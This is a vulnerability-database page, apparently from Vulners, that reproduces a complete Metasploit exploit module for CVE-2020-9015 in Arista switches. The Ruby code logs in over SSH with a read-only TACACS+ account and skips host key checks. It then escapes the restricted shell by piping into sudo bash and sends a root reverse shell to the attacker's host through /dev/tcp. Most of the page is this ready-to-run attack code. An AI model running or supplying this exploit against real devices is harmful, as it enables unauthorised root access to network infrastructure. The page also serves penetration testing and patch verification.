Lucene search
K

Arista restricted shell escape (with privesc)

🗓️ 21 Apr 2020 19:21:52Reported by Chris AndersType 
metasploit
 metasploit
🔗 www.rapid7.com👁 100 Views

This is an exploit module for Arista's restricted shell escape with privilege escalation, leveraging a poorly configured TACACS+ setup and a read-only account. It has a CVSS v3 base score of 9.8

Related
Code
ReporterTitlePublishedViews
Family
0daydb
Arista Restricted Shell Escape - Privilege Escalation
21 Jun 202009:00
0daydb
0day.today
Arista Restricted Shell Escape / Privilege Escalation Exploit
16 Jun 202000:00
zdt
Circl
CVE-2020-9015
16 Jun 202012:00
circl
CVE
CVE-2020-9015
20 Feb 202021:39
cve
Cvelist
CVE-2020-9015
20 Feb 202021:39
cvelist
NVD
CVE-2020-9015
20 Feb 202022:15
nvd
OSV
CVE-2020-9015
20 Feb 202022:15
osv
Packet Storm
Arista Restricted Shell Escape / Privilege Escalation
16 Jun 202000:00
packetstorm
Prion
Design/Logic Flaw
20 Feb 202022:15
prion
Positive Technologies
PT-2020-20430 · Arista · Arista Dcs-7050Cx3-32S-R +2
20 Feb 202000:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Arista restricted shell escape (with privesc)',
        'Description' => %q{
          This exploit module takes advantage of a poorly configured TACACS+ config,
          Arista's bash shell and TACACS+ read-only account to privilage escalate.
          A CVSS v3 base score of 9.8 has been assigned.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Chris Anders'],
        'References' => [
          [ 'CVE', '2020-9015'],
          [ 'URL', 'http://www.securitybytes.me/posts/cve-2020-9015/'],
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9015' ],
        ],
        'Arch' => ARCH_X86,
        'ConnectionType' => 'find',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'Payload' => 'linux/x86/shell_reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2020-02-02',
        'Platform' => 'linux',
        'PayloadType' => 'cmd_interact',
        'Privileged' => true,
        'Targets' => [ [ 'Universal', {} ] ]
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'Username to login with', '']),
        OptString.new('PASSWORD', [true, 'Password to login with', '']),
      ]
    )

    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]),
        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
      ]
    )
  end

  def check
    opts = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      password: password
    })

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return CheckCode::Safe
    rescue Net::SSH::Disconnect, ::EOFError
      return CheckCode::Safe
    rescue Timeout::Error
      return CheckCode::Safe
    rescue Net::SSH::AuthenticationFailed
      return CheckCode::Safe
    rescue Net::SSH::Exception
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def lport
    datastore['LPORT']
  end

  def lhost
    datastore['LHOST']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    factory = ssh_socket_factory

    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempt to login to the Arista's restricted shell...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh
    begin
      payload_executed = false
      print_good('SSH connection established.')

      ssh.open_channel do |channel, _data|
        print_status('Requesting pty rbash')

        channel.request_pty do |ch, success|
          fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not request a PTY!") unless success
          print_good('PTY successfully obtained.')

          print_status('Requesting a shell.')
          ch.send_channel_request('shell') do |cha, _succ|
            fail_with(Failure::Unreachable, "#{rhost}:#{rport} Could not open rbash shell!") unless success
            print_good('Spawned into arista rbash shell.')

            cha.on_data do |_xx, data2|
              if data2.include?('#') && !payload_executed
                print_status('Attempting to break out of Arista rbash...')
                channel.send_data("show run | grep '' | sudo bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1 2>&1 &'\n")
                payload_executed = true
                print_good('Escaped from rbash!')
              end
            end
          end
        end
      end
      ssh.loop unless session_created?
    rescue Errno::EBADF => e
      elog(e.message)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation